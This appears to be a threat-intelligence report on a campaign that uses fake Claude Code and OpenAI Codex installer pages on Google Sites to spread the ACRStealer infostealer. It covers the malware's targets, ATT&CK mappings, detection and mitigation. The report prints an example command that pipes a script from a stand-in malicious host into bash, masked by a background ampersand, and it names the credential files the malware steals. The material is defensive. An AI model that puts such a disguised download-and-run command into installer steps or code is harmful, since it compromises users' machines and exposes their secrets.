Fake AI Coding Assistant Installers on Google Sites Lure Developers with Infostealer
Fake Claude Code and OpenAI Codex Installers on Google Sites Distribute ACRStealer Malware
Related Entities
Organizations
Products & Tech
Other
Full Report
Executive Summary
A malware campaign, active since at least March 2026, is targeting software developers with a sophisticated social engineering scheme. Attackers are creating fake download pages for popular AI coding assistants, including Anthropic's Claude Code and OpenAI Codex, and hosting them on Google Sites. This tactic leverages the trusted Google domain to appear legitimate and evade security blocklists. Developers are tricked into executing a seemingly harmless installation command from their terminal. However, the command contains a hidden instruction that downloads and runs ACRStealer, an information-stealing malware variant specifically tailored to harvest developer secrets, API keys, and cryptocurrency wallets.
Threat Overview
The attack preys on the developer community's increasing reliance on AI coding tools. The threat actors create convincing, but fake, landing pages on sites.google.com. When a developer visits one of these pages, they are presented with a one-line command to copy and paste into their terminal for a supposed easy installation.
The malicious command uses a clever trick: a single ampersand (&) character. In Unix-like shells, & allows a command to run in the background while the shell immediately moves to the next command. The attackers construct the command so that a legitimate-looking (but fake) process runs in the foreground, while a malicious script is downloaded and executed silently in the background.
# Example of the malicious command structure
(echo 'Installation in progress...'); sleep 5 & curl -s http://malicious-domain.com/payload.sh | bash
Technical Analysis
The payload delivered in this campaign is a new variant of ACRStealer (sometimes called Amatera), an infostealer first observed in 2025. This version has been specifically updated to target developers using AI tools.
- Targeted File Theft: The malware actively searches for and steals configuration and secret files from AI assistant tools, including:
secrets.json(from Cline)config.yaml(from Continue.dev)
- Credential Harvesting: Beyond AI-specific files, it performs standard infostealer functions, such as stealing:
- Saved browser passwords and cookies
- Cryptocurrency wallet files
- Exfiltration: All stolen data is packaged and sent to an attacker-controlled server within seconds of the compromise.
This attack maps to several MITRE ATT&CK techniques:
T1204.002 - User Execution: Malicious Link: The user is socially engineered to visit the malicious Google Site.T1059.004 - Command and Scripting Interpreter: Unix Shell: The core of the attack relies on the user executing a malicious shell command.T1555 - Credentials from Password Stores: A primary function of the ACRStealer payload.T1539 - Steal Web Session Cookie: Another key function of the infostealer.
Impact Assessment
The compromise of a developer's machine can have catastrophic consequences:
- Supply Chain Contamination: Stolen API keys and credentials can be used to inject malicious code into source code repositories, leading to a wider software supply chain attack.
- Corporate Espionage: Attackers can gain access to proprietary code and internal systems.
- Financial Theft: Direct theft of cryptocurrency and unauthorized use of cloud services using stolen API keys can lead to significant financial loss.
- Identity Theft: Stolen browser passwords can lead to the compromise of numerous other personal and professional accounts.
IOCs — Directly from Articles
No specific domains or file hashes were provided in the source articles.
Cyber Observables — Hunting Hints
The following patterns could indicate related activity:
& followed by curl or wget piped to bash or sh.sites.google.com URLs promoting software installers, especially for developer tools.Detection & Response
- Developer Education: Train developers to be extremely cautious about commands copied from the internet. They should understand the function of every part of a command before executing it.
- EDR Monitoring: Use an Endpoint Detection and Response (EDR) solution to monitor terminal activity. Create alerts for suspicious command patterns, such as piping
curlto a shell. - Network Egress Filtering: Block outbound connections from developer workstations to unknown or uncategorized domains, which can prevent both payload download and data exfiltration.
Mitigation
- Never Trust, Always Verify: The most important mitigation is cultural. Developers should never blindly copy and paste commands from unofficial sources, even if they appear to be hosted on a trusted domain like Google Sites.
- Use Official Sources: Always download software and obtain installation commands from the official project website or a trusted package manager.
- Principle of Least Privilege: Run terminal commands as a non-privileged user whenever possible to limit the potential damage a malicious script can do.
- Credential Management: Use dedicated secret management tools like HashiCorp Vault instead of storing secrets in plaintext files, and use hardware tokens for storing cryptocurrency assets.
Timeline of Events
MITRE ATT&CK Mitigations
User Training
Educating developers about the dangers of copy-pasting commands from untrusted sources is the primary defense.
Execution Prevention
Using EDR or other endpoint controls to block suspicious shell command patterns can prevent the attack from succeeding.
Restrict Web-Based Content
Blocking access to known malicious URLs or uncategorized sites can prevent the initial download of the payload.
D3FEND Defensive Countermeasures
Deploy an EDR solution on developer workstations configured for process lineage analysis. Create a specific detection rule that alerts whenever a process spawned by a shell (e.g., bash, zsh) attempts to access sensitive credential files such as ~/.aws/credentials, ~/.ssh/id_rsa, or browser profile directories. In the context of the ACRStealer attack, this would trigger an alert when the malicious script, executed via the copy-pasted command, starts enumerating and reading these files. This provides a direct method for detecting the malware's core payload activity.
While challenging in a developer environment, a targeted allowlisting approach can be effective. Instead of a blanket ban, focus on restricting the execution of unsigned scripts downloaded from the internet. Use endpoint security tools to enforce a policy where only scripts from trusted, code-signed sources or internal repositories can be executed. This would prevent the malicious payload.sh script, downloaded via curl from an untrusted source, from running, thereby breaking the attack chain.
Timeline of Events
The malware campaign is reported to have been active since at least March 2026.
Sources & References
Article Author
Jason Gomes
• Cybersecurity PractitionerCybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Tags
📢 Share This Article
Help others stay informed about cybersecurity threats
🎯 MITRE ATT&CK Mapped
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
🧠 Enriched & Analyzed
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
🛡️ Actionable Guidance
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
🔗 STIX Visualizer
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
⚡ Sigma Generator
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.